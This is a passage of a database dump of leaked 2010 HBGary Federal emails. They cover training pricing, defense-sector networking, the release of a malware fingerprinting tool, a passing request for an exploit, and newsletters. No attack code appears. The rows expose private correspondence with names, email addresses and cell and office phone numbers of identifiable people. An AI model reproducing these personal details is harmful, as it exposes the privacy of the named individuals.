Vera &lt;ted@hbgary.com&gt;\r\nDate: Thu, Jul 22, 2010 at 10:04 AM\r\nSubject: DigitalGlobe\r\nTo: Maria Lucas &lt;maria@hbgary.com&gt;,\r\nPenny Leavy &lt;penny@hbgary.com&gt;\r\nCc: Barr Aaron &lt;aaron@hbgary.com&gt;\r\n\r\n\r\nHi Maria,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOur discussion with Brian went well yesterday. &nbsp;He is\r\ninterested in our Social Media training. &nbsp;He would like a quote for three\r\nclasses, one class a day for three consecutive days. &nbsp;He anticipates 20\r\nper class, but it could go up to as many as 50 per class. &nbsp;Aaron and I had\r\n$750-$1000 per student in mind for &quot;normal&quot; pricing on this class.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFor Brian, we are thinking about sending a quote for\r\n$30,000.00. &nbsp;$500/student, 3 classes, 20 students per class. &nbsp;We will\r\nnote on the estimate that we\'ll keep a headcount/sign-in roster and if more\r\nthan 20 show we will charge $500 for each additional student.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhat do you think of this pricing? &nbsp;Too high? Too low?\r\n&nbsp;Do you think it is in line with Brian\'s budget? &nbsp;Also, we never\r\nfully discussed your commission. &nbsp;What are your expectations, what is\r\nstandard commission for training?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks for the introduction and your help.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16338,'aaron_hbgary_com/16338.html'),(9058,'2010-07-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006956.M293603P14101Q3913.eml','\"Jeff Castelli\" <JeffCastelli@phaseone.net>','Re: IQT','Anytime. &nbsp;Our companies have a lot in common in certain areas.I know HBGary Inc has spoken to them re: some of their malware capabilities. &nbsp;I don\'t believe Rey have any idea of the capabilities or initiatives of HBGary Fed. &nbsp;I would like to bring them up to speed. &nbsp;What do you suggest is the best approach?Might be worthwhile brainstorming a bit at some point re: capabilities and platforms that could enable the group you ran.AaronSent from my iPhoneOn Jul 22, 2010, at 2:47 PM, Jeff Castelli &lt;JeffCastelli@phaseone.net&gt; wrote:\r\n\r\n\r\n\r\nAaron, thanks for your time yesterday and I’m sorry\r\nnot to get back to you sooner.&nbsp; Hope you’re enjoying St. Louis and taking\r\nin a couple of Cards games – they certainly are on a roll!\r\n\r\n&nbsp;\r\n\r\nI corresponded with Chris Darby, CEO of IQT, re HB Gary, and\r\nhe has advised me you are already on their scope and ‘in their pipeline’.&nbsp;\r\nNo intro needed!&nbsp; Mark McGovern is the practice lead there.&nbsp; If you haven’t\r\nheard from him of late, you might send him a tickler to see what’s up.&nbsp;\r\nIf you’re getting no reply, just let me know and I’ll rattle their\r\ncage.\r\n\r\n&nbsp;\r\n\r\nFYI, I found out today that the ‘bake off’ I mentioned\r\nto you will have to wait until FY11 (and FY11 money, so let’s hope\r\nagainst the odds that there won’t be a continuing resolution…….).&nbsp;\r\nWe will definitely keep in touch as that date gets nearer.&nbsp; Take care,\r\n\r\n&nbsp;\r\n\r\nJeff\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nVP,\r\nDirector Washington Operations\r\n\r\nPhaseOne\r\nCommunications\r\n\r\n&nbsp;\r\n\r\nemail:&nbsp;\r\njeffcastelli@phaseone.net\r\n\r\nOffice:&nbsp;&nbsp;&nbsp;&nbsp;\r\n571-830-6816\r\n\r\nFax:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n571-830-6819\r\n\r\nCell:&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp; 310 612 6413\r\n\r\n&nbsp;\r\n\r\nThis\r\nemail is confidential and intended solely for the use of the individual or\r\norganization to whom it is addressed. &nbsp;If you are not the intended\r\nrecipient of this email, you should not copy, modify, distribute, or take any\r\naction in reliance on it. &nbsp;If you have received this email in error,\r\nplease notify the sender and delete this email from your system. &nbsp;Although\r\nthis email has been checked for viruses and other defects, no responsibility\r\ncan be accepted for any loss or damage arising from its receipt or use.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7048,'aaron_hbgary_com/7048.html'),(9059,'2010-07-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006956.M542902P14101Q3914.eml','\"Eassa, Charles N. COL\" <Charles.Eassa@eucom.mil>','Re: Follow up','Col. Eassa,\r\n\r\nI thoroughly enjoyed the evening.  The areas you listed as priorities are areas I have a particular passion for (it may have been obvious).  Please let me know if there is anything I or my company can do to help.\r\n\r\nAs one note we have a social media familiarization and training course we offer to help organizations understand how to effectively use social media and understand it\'s risks.  That may or may not be of value to you at this time.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 22, 2010, at 1:17 PM, \"Eassa, Charles N. COL\"  wrote:\r\n\r\n> I enjoyed meeting you last week and look forward to more understanding.\r\n> \r\n> VR\r\n> \r\n> E\r\n',9952,'aaron_hbgary_com/9952.html'),(9060,'2010-07-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006957.M112809P14101Q3915.eml','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','Re: will Greg be back in town?','Hi Dave,\r\n\r\nHe gets back here every couple of months.  He doesn\'t much like to travel.  The CTO is local to DC as well as am I, but you know that.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 22, 2010, at 2:27 PM, \"Merritt, David CTR OSD CIO\"  wrote:\r\n\r\n> When will Greg be back in town...wanted to talk about a couple of things...\r\n> \r\n> Dave\r\n> -----------------------------------\r\n> David D. Merritt, CISSP, CISM, ITIL\r\n> OSD CIO IA\r\n> 703-697-2051 :desk\r\n> \r\n> \r\n',15120,'aaron_hbgary_com/15120.html'),(9061,'2010-07-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006957.M522454P14101Q3916.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Follow up','coolOn Thu, Jul 22, 2010 at 3:22 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nCol. Eassa,\r\n\r\nI thoroughly enjoyed the evening.  The areas you listed as priorities are areas I have a particular passion for (it may have been obvious).  Please let me know if there is anything I or my company can do to help.\r\n\r\nAs one note we have a social media familiarization and training course we offer to help organizations understand how to effectively use social media and understand it&#39;s risks.  That may or may not be of value to you at this time.\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 22, 2010, at 1:17 PM, &quot;Eassa, Charles N. COL&quot; &lt;Charles.Eassa@eucom.mil&gt; wrote:\r\n\r\n&gt; I enjoyed meeting you last week and look forward to more understanding.\r\n&gt;\r\n&gt; VR\r\n&gt;\r\n&gt; E\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',12211,'aaron_hbgary_com/12211.html'),(9062,'2010-07-22','\"Martin Pillion\" <martin@hbgary.com>','/aaron@hbgary.com/new/1297006958.M563651P14101Q3917.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Mike Spohn\" <mike@hbgary.com>,\"Joe Pizzo\" <joe@hbgary.com>,\"Greg Hoglund\" <hoglund@hbgary.com>,\"Charles Copeland\" <Charles@hbgary.com>,\"Scott\" <scott@hbgary.com>,\"Shawn Braken\" <shawn@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,\"Michael Snyder\" <michael@hbgary.com>,\"Alex Torres\" <alex@hbgary.com>,chris@hbgary.com,\"Bob Slapnik\" <bob@hbgary.com>','FingerPrint v1.0','\r\nHere is the tool, as it will be released at blackhat.\r\n\r\n- Martin\r\n',4361,'aaron_hbgary_com/4361.html'),(9063,'2010-07-22','\"cybernexus Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297006959.M51951P14101Q3918.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Ricky Windsor CISSP, CISA, PMP and other cybernexus group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsJuly 22, 2010\r\n    cybernexus\r\n    \r\n	      Latest:\r\n	          1 discussion\r\n	      \r\n	      \r\n	        \r\n	      \r\n      \r\n    \r\n\r\n     \r\n      NEW Your LinkedIn groups have a whole new look! Learn more &#187;\r\n    \r\n      \r\n      \r\n    \r\n\r\n      \r\nDiscussions (1)  \r\n\r\n    \r\n      \r\n        Incident Response and Network Forensics Training\r\nHosted by AFCEA CMD at Praxis Engineering\r\nAugust 2 - 6, 2010\r\n        Add a comment  &raquo;\r\n\r\n      Started by Ricky Windsor CISSP, CISA, PMP, Cyber Security Engineer\r\n        \r\n          \r\n                    Registration:  http://www.infosecinstitute.com/register_student_AFCEA.html\r\n\r\nCost: $2,149\r\n\r\nLocation:\r\nPraxis Engineering\r\n135 National Business Parkway (NBP),\r\nAnnapolis Junction, MD\r\n\r\nWithout a doubt, the sophistication and threats caused by malicious attacks have continued to increase at a rapid level. If you plan on responding to a security incident, you must be able to meet the challenges that these sophisticated attackers present. InfoSec Institute helps you meet the challenges presented by attackers in this hands-on Incident Response class. You will learn effective detection, response, and remediation strategies that will enable you and your organization to properly contain a security incident. This five day class has been specifically designed for technical information technology professionals, targeted at technical responders, who respond to computer security incidents. In this course, you will go over many real-world case studies, and gain the skills you need to respond to incidents via hands-on lab exercises.\r\n\r\nTopics covered in this class are:\r\n\r\n    * Understanding the methodology of an effective Incident Response process\r\n    * Incident Response Phases\r\n    * Create working documentation and checklists usable during a real-world response crisis\r\n    * Understand the proper incident response process for live compromised Windows and Unix systems\r\n    * Learn how to detect and confirm attacks against Windows and Unix systems\r\n    * Create a system response toolkit to be used in the heat of a crisis\r\n    * Learn how to discover attack signatures in Windows and Unix log files\r\n    * Use Log Parser 2.2 to recover critical information from Windows systems\r\n    * Understand what volatile evidence is present on a system you must collect and preserver prior to system power down\r\n    * Get hands-on experience retrieving and writing to disk memory from suspicious processes\r\n    * Detect and remove Win32 Rootkits, LKM Rootkits and Trojaned files\r\n    * Discover hidden files and processes\r\n    * Analyze and export data from critical system files in Windows including hiberfil.sys and pagefile.sys\r\n    * Learn how to recover deleted or overwritten files from Kernel memory on Unix systems\r\n    * Perform basic Reverse Engineering of unknown process and binaries, without having to know assembly language. \r\n\r\nRegistration:  http://www.infosecinstitute.com/register_student_AFCEA.html\r\n                By Ricky Windsor CISSP, CISA, PMP, Cyber Security Engineer\r\n           \r\n          \r\n    \r\n\r\n\r\n\r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',7187,'aaron_hbgary_com/7187.html'),(9064,'2010-07-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006961.M265583P14101Q3919.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>,\"Henderson, Mike (XETRON)\" <Michael.Henderson@ngc.com>,\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','FingerPrint v1.0','Hi Brian / Mike,Here is the fingerprint tool, as it will be released at Blackhat.  Readme file explains usage.  Please send us the output.\r\nThanks!-- Ted\r\n',9139,'aaron_hbgary_com/9139.html'),(9065,'2010-07-22','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006961.M565675P14101Q3920.eml','all@hbgary.com','New \"free tools\" section is ready','Team,\r\n \r\nThe new &quot;free tools&quot; section is ready to go live.  Thanks for all the hard work.  We will make the section live directly after my BlackHat talk next week.  Our free tools are very high quality and provide tremendous value to incident responders and practitioners who fight malware.  It will drive traffic to our website and build brand recognition, as well as build good will in the community.  I am proud of the free tools program.\r\n\r\n \r\n-Greg Hoglund\r\nCEO, HBGary, Inc.\r\n',6070,'aaron_hbgary_com/6070.html'),(9066,'2010-07-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006961.M856569P14101Q3921.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Inquiry About The Irregular Warfare Consolidated Support','Spam?Begin forwarded message:From: matchalert@govwin.com\r\nDate: July 22, 2010 8:01:44 PM MDTTo: &lt;ted@hbgary.com&gt;Subject: Inquiry About The Irregular Warfare Consolidated Support\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  govWin Match Alert \r\n  \r\n \r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  Dear Ted:\r\n  \r\n  I saw you advertised interest in FedBizOpps to bid on Irregular Warfare\r\n  Consolidated Support.  We think we can help you form a\r\n  winning team on this opportunity and also connect you to other teaming and\r\n  subcontract opportunities. \r\n  \r\n  govWin is a network of small and large businesses coming together to better\r\n  serve the federal sector, and we specialize in helping diverse and qualified\r\n  companies form strong teams and win more business.\r\n  \r\n  With your permission, we would like to assist you in finding the teaming partners\r\n  to help you win this opportunity. All you have to do is respond to this note.\r\n  \r\n  govWin was founded by former small business owners and we are just trying to\r\n  help make things like this easier and more successful. We are helping\r\n  companies every day like yours form winning teams and you can see how others\r\n  are benefiting now at http://govwin.com/public/help/about-mysbx#testimonials .\r\n\r\n  \r\n  Not only can we help find the most qualified teaming partners and help you\r\n  build the best possible team using govWin, we will also engage our govWin\r\n  Match Alert System to notify you about forming teams and subcontracts that\r\n  you can join and deliver on as well.\r\n  \r\n  If you would like to take advantage of this and bring the power of govWin to\r\n  bear on forming your team and winning more business - please just reply to\r\n  this note and we can get started.\r\n  \r\n  Thank you for your time - we hope we can be of help for this and others in\r\n  the future.\r\n  \r\n  Regards,\r\n  \r\n  govWin Match Alert Team\r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n \r\n  \r\n  About this Message: You have\r\n  received this message because your company meets the requirements for a\r\n  business opportunity published by a member of govWin. If you would like to\r\n  unsubscribe from receiving potential business opportunities, please reply to\r\n  this email with the word &quot;unsubscribe&quot; in the message. \r\n  About Match Alert: Match Alert\r\n  keeps watch 24/7 on your behalf, and alerts you when teaming opportunities,\r\n  subcontract opportunities, resource demands, resource availability, and\r\n  companies or individual professionals matching your published requirements\r\n  are available. We deliver you the right matches at the right time.\r\n  About govWin: govWin is\r\n  the professional network where businesses exchange opportunities, resources,\r\n  and information, to win more business, expand capabilities, and increase\r\n  profitability. \r\n  Please\r\n  visit www.govwin.com to learn more. Send inquiries or help requests to the\r\n  govWin Support Team (help@govwin.com). Send ideas and suggestions to\r\n  Ideas@govwin.com.\r\n  \r\n \r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',917,'aaron_hbgary_com/917.html'),(9067,'2010-07-23','\"Nathan Atherley\" <nathan.atherley@farallon-research.com>','/aaron@hbgary.com/new/1297006962.M105350P14101Q3922.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,greg@hbgary.com','Kick off meeting picture/notes','Penny/Aaron/Greg\r\n\r\nI was asked to see if I could get a copy of the pictures either Greg or \r\nAaron took at our kick off meeting.  John Hayes from Blackridge has \r\nnotes typed up from memory, but wasn\'t sure if he captured everything.  \r\nCould whomever took the pictures, please send them to me?\r\n\r\nAlso, FYI, it looks as if we are getting our hands on some fall out \r\nmoney to start CID#1, we will hopefully be on contract with the \r\nGovernment in the next few weeks, and am optimistic that means the \r\nproject will be underway!\r\n\r\n\r\nthanks!\r\n\r\nnathan\r\n\r\n\r\n',13016,'aaron_hbgary_com/13016.html'),(9068,'2010-07-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006962.M347337P14101Q3923.eml','\"Nathan Atherley\" <nathan.atherley@farallon-research.com>,\"Nathan Atherley\" <nathan.atherley@farallon-research.com>,','Re: Kick off meeting picture/notes','Sorry.\r\n\r\nI have them and will send them shortly.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 22, 2010, at 11:44 PM, Nathan Atherley  wrote:\r\n\r\n> Penny/Aaron/Greg\r\n> \r\n> I was asked to see if I could get a copy of the pictures either Greg or Aaron took at our kick off meeting.  John Hayes from Blackridge has notes typed up from memory, but wasn\'t sure if he captured everything.  Could whomever took the pictures, please send them to me?\r\n> \r\n> Also, FYI, it looks as if we are getting our hands on some fall out money to start CID#1, we will hopefully be on contract with the Government in the next few weeks, and am optimistic that means the project will be underway!\r\n> \r\n> \r\n> thanks!\r\n> \r\n> nathan\r\n> \r\n> \r\n',13043,'aaron_hbgary_com/13043.html'),(9069,'2010-07-23','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297006962.M613521P14101Q3924.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Followup','\r\n\r\n\r\n\r\n\r\nRE: Followup\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nStill have not gotten the address from Ted.\r\n\r\nBrian\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian M (XETRON)\r\nSent: Wednesday, July 21, 2010 8:49 AM\r\nTo: Aaron Barr\r\nSubject: Followup\r\n\r\n\r\n\r\nFollowup from yesterday:\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Address to ship drive to\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fingerprint tool to run on CMU malware data\r\n\r\n\r\n\r\nAlso, can I still get an exploit from you?\r\n\r\nBrian\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',14883,'aaron_hbgary_com/14883.html'),(9070,'2010-07-23','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297006962.M845338P14101Q3925.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: EXTERNAL:Fake femme fatale shows social network risks','Wanted to make sure you saw the femme fatale article \r\n\r\n-----Original Message-----\r\nFrom: Computerworld Security\r\n[mailto:computerworld_newsletters@cwonline.computerworld.com] \r\nSent: Thursday, July 22, 2010 10:30 AM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: EXTERNAL:Fake femme fatale shows social network risks\r\n\r\nComputerworld Security: July 22, 2010\r\n===============================================================\r\n\r\nFake femme fatale shows social network risks\r\n\r\nSocial networking pages featuring the profile of a fake Navy cyberthreat\r\nanalyst\r\nattracted some 300 friends in the intelligence, military and security\r\ncommunities in an experiment conducted by a security researcher.\r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/305484/0/\r\n\r\n~~~~~~~~~~~~~~~~~~~WHITE PAPER: Brocade~~~~~~~~~~~~~~~~~~~~~\r\n\r\nBrocade and IBM Internet Security Systems Solutions\r\n\r\nThe explosion of data and information makes networking, storage, and\r\nsecurity\r\nmore important than ever. Trusted by organizations around the globe,\r\nBrocade and\r\nIBM ISS bring the networking and security experience, expertise, and\r\nknowledge\r\ntoday\'s enterprises demand.\r\n\r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/305485/0/?3e076d18\r\n=c3RldmVuLndpbnRlcmZlbGRAbmdjLmNvbQ%3d%3d&x=ac6a6346\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\r\nIN THIS ISSUE\r\n\r\n1. Security firm: Apple has more security holes than anyone\r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/305486/0/\r\n\r\n2. Mozilla patches 16 security bugs in Firefox 3.6\r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/305487/0/\r\n\r\n3. Richi Jennings: Horrible Safari privacy bug: take action now\r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/305488/0/\r\n\r\n4. Microsoft warns of Windows shortcut drive-by attacks\r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/305489/0/\r\n\r\n5. New \'Kraken\' GSM-cracking software is released\r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/305490/0/\r\n\r\n6. Corporate ID theft hits Georgia businesses\r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/305491/0/\r\n\r\n7. First true SCADA-specific malware detected\r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/305492/0/\r\n\r\n8. Microsoft releases beta of upgraded Security Essentials\r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/305493/0/\r\n\r\n9. Design that ensures security, also emphasizes style\r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/305494/0/\r\n\r\n \r\n~~~~~~~~~~~~~~~~~~~WHITE PAPER: Brocade~~~~~~~~~~~~~~~~~~~~~\r\n\r\nLeverage Data Center-Class Networks\r\n\r\nIf industry predictions are correct, the evolution toward virtualization\r\nwill\r\ncreate a profound shift away from long-standing information silos to\r\nhigher\r\nperformance, more scalable and efficient network operations,\r\ngovernment-wide.\r\n\r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/305495/0/?3e076d18\r\n=c3RldmVuLndpbnRlcmZlbGRAbmdjLmNvbQ%3d%3d&x=4b72369c\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n \r\nSecurity firm: Apple has more security holes than anyone\r\n\r\nHere\'s another blow to those insist that Apple products are rock solid\r\nand\r\nunhackable: The security company Secunia reports that Apple products\r\nhave more\r\nvulnerabilities than those of any other company. Oracle came in second\r\nplace,\r\nwith Microsoft in third.\r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/305486/0/\r\n \r\nMozilla patches 16 security bugs in Firefox 3.6\r\n\r\nMozilla on Tuesday patched 16 vulnerabilities, nine of them critical, in\r\nFirefox\r\n3.6, the largest update for the open-source browser since March.\r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/305487/0/\r\n \r\nRichi Jennings: Horrible Safari privacy bug: take action now\r\n\r\nIf you use the Safari web browser, listen up. Your browser may be\r\nleaking your\r\nprivate information to any website you visit. Let\'s take a look, in The\r\nLong\r\nView\r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/305488/0/\r\n \r\nMicrosoft warns of Windows shortcut drive-by attacks\r\n\r\nHackers could exploit the unpatched Windows shortcut vulnerability using\r\ndrive-by download attacks that trigger an infection when people simply\r\nsurf to a\r\nmalicious Web site, Microsoft said.\r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/305489/0/\r\n \r\n~~~~~~~~~~~~~~~~~~~WHITE PAPER: Brocade~~~~~~~~~~~~~~~~~~~~~\r\n\r\nComprehensive Enterprise Security\r\n\r\nLearn how combining Brocade\'s high-performance infrastructure and\r\nMcAfee\'s Web\r\ngateway solution ensures that organizations have the secure and trusted\r\nenvironments they demand.\r\n\r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/305496/0/?3e076d18\r\n=c3RldmVuLndpbnRlcmZlbGRAbmdjLmNvbQ%3d%3d&x=bf608276\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n \r\nNew \'Kraken\' GSM-cracking software is released\r\n\r\nThe (Global System for Mobile Communications) technology used by the\r\nmajority of\r\nthe world\'s mobile phones will get some scrutiny at next week\'s Black\r\nHat\r\nsecurity conference, and what the security researchers there have to say\r\nisn\'t\r\npretty.\r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/305490/0/\r\n \r\nCorporate ID theft hits Georgia businesses\r\n\r\nJust days after Colorado officials warned businesses about scammers who\r\nare\r\nforging corporate identities to commit financial fraud, an official in\r\nGeorgia\r\nsaid the same has been happening in that state as well.\r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/305491/0/\r\n \r\nFirst true SCADA-specific malware detected\r\n\r\nSCADA systems have been identified as a potential vulnerability since\r\nY2K. Now,\r\nfor the first and not last time, a SCADA-specific piece of malware\r\n(W32.Stuxnet)\r\nhas been detected. This is a cause for concern and a call to action.\r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/305492/0/\r\n \r\nMicrosoft releases beta of upgraded Security Essentials\r\n\r\nMicrosoft has released a beta for the next version of its free security\r\nsoftware, Security Essentials, according to a blog post.\r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/305493/0/\r\n \r\nDesign that ensures security, also emphasizes style\r\n\r\nCan security, often seen as obvious and ugly, actually be stylish and\r\nsuitable\r\nfor a building? Architect Rick Reeder gives us a tour of a property he\r\ndesigned\r\nwith artful security as the goal\r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/305494/0/\r\n\r\n\r\n===============================================================\r\n \r\nSHARK TANK\r\n___________\r\n\r\nBad bosses, useless users, clueless consultants, lyrical limericks --\r\nit\'s all\r\nin a day\'s tank for Sharky. Join him and his pilot fish for a daily dose\r\nof IT\r\nfrom the trenches.\r\n\r\nSubmit your true IT tale, and if Sharky takes a bite, he\'ll send you a\r\nsharp\r\nShark shirt!\r\n\r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/256230/0/\r\n \r\nNEW COMPUTERWORLD JOB BOARD\r\n______________________________\r\n\r\nSearch multiple listings now and get new job alerts as they are posted.\r\n\r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/156832/0/\r\n\r\n\r\nDo You Tweet?\r\n\r\nFollow everything from Computerworld.com on Twitter @computerworld\r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/126780/0/\r\n\r\n===============================================================\r\n\r\nCONTACTS/SUBSCRIPTIONS\r\n\r\nYou are currently subscribed to computerworld_security as:\r\nsteven.winterfeld@ngc.com.\r\n\r\nTo unsubscribe from this newsletter, go to:\r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/131135/0/?90482085\r\n=aHR0cDovL2N3Zmx5cmlzLmNvbXB1dGVyd29ybGQuY29tL3U%2faWQ9NjIzNDY2MzAxLjIwN\r\nTI0MTQ4NzFhMDQzMmIzNDI4M2FlYzUxMTJhM2M1Jm49VCZsPWNvbXB1dGVyd29ybGRfc2Vjd\r\nXJpdHkmbz02NjAwMTQ3&x=1f1e8bef\r\n\r\nTo manage your subscription preferences, go to: \r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/72510/0/\r\n\r\nTo subscribe to a newsletter, go to:\r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/72511/0/\r\n\r\nComputerworld\'s online privacy policy is at:\r\nhttp://cwflyris.computerworld.com/t/6600147/623466301/72509/0/\r\n\r\nIf you are interested in advertising in this newsletter, please contact:\r\nbglynn@cxo.com\r\n\r\nTo contact Computerworld, please send an e-mail to\r\nonline@computerworld.com.\r\n\r\nCopyright (C) 2010 Computerworld, 492 Old Connecticut Path, Framingham\r\nMA 01701\r\n\r\n** Please do not reply to this message. If you want to contact someone\r\ndirectly, \r\nsend an e-mail to online@computerworld.com **\r\n\r\n\r\n',12329,'aaron_hbgary_com/12329.html'),(9071,'2010-07-23','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','/aaron@hbgary.com/new/1297006963.M374892P14101Q3927.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: will Greg be back in town?','Are you familiar with CNCI Initiative 8?\r\n\r\nDave\r\n-----------------------------------\r\nDavid D. Merritt, CISSP, CISM, ITIL\r\nOSD CIO IA\r\n703-697-2051 :desk\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, July 22, 2010 5:25 PM\r\nTo: Merritt, David CTR OSD CIO\r\nSubject: Re: will Greg be back in town?\r\n\r\nHi Dave,\r\n\r\nHe gets back here every couple of months.  He doesn\'t much like to travel.\r\nThe CTO is local to DC as well as am I, but you know that.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 22, 2010, at 2:27 PM, \"Merritt, David CTR OSD CIO\"\r\n wrote:\r\n\r\n> When will Greg be back in town...wanted to talk about a couple of\r\nthings...\r\n> \r\n> Dave\r\n> -----------------------------------\r\n> David D. Merritt, CISSP, CISM, ITIL\r\n> OSD CIO IA\r\n> 703-697-2051 :desk\r\n> \r\n> \r\n',15481,'aaron_hbgary_com/15481.html'),(9072,'2010-07-23','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006963.M598364P14101Q3928.eml','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','Re: will Greg be back in town?','Sure.  Education.\r\n\r\nSent from my iPad\r\n\r\nOn Jul 23, 2010, at 7:35 AM, \"Merritt, David CTR OSD CIO\"  wrote:\r\n\r\n> Are you familiar with CNCI Initiative 8?\r\n> \r\n> Dave\r\n> -----------------------------------\r\n> David D. Merritt, CISSP, CISM, 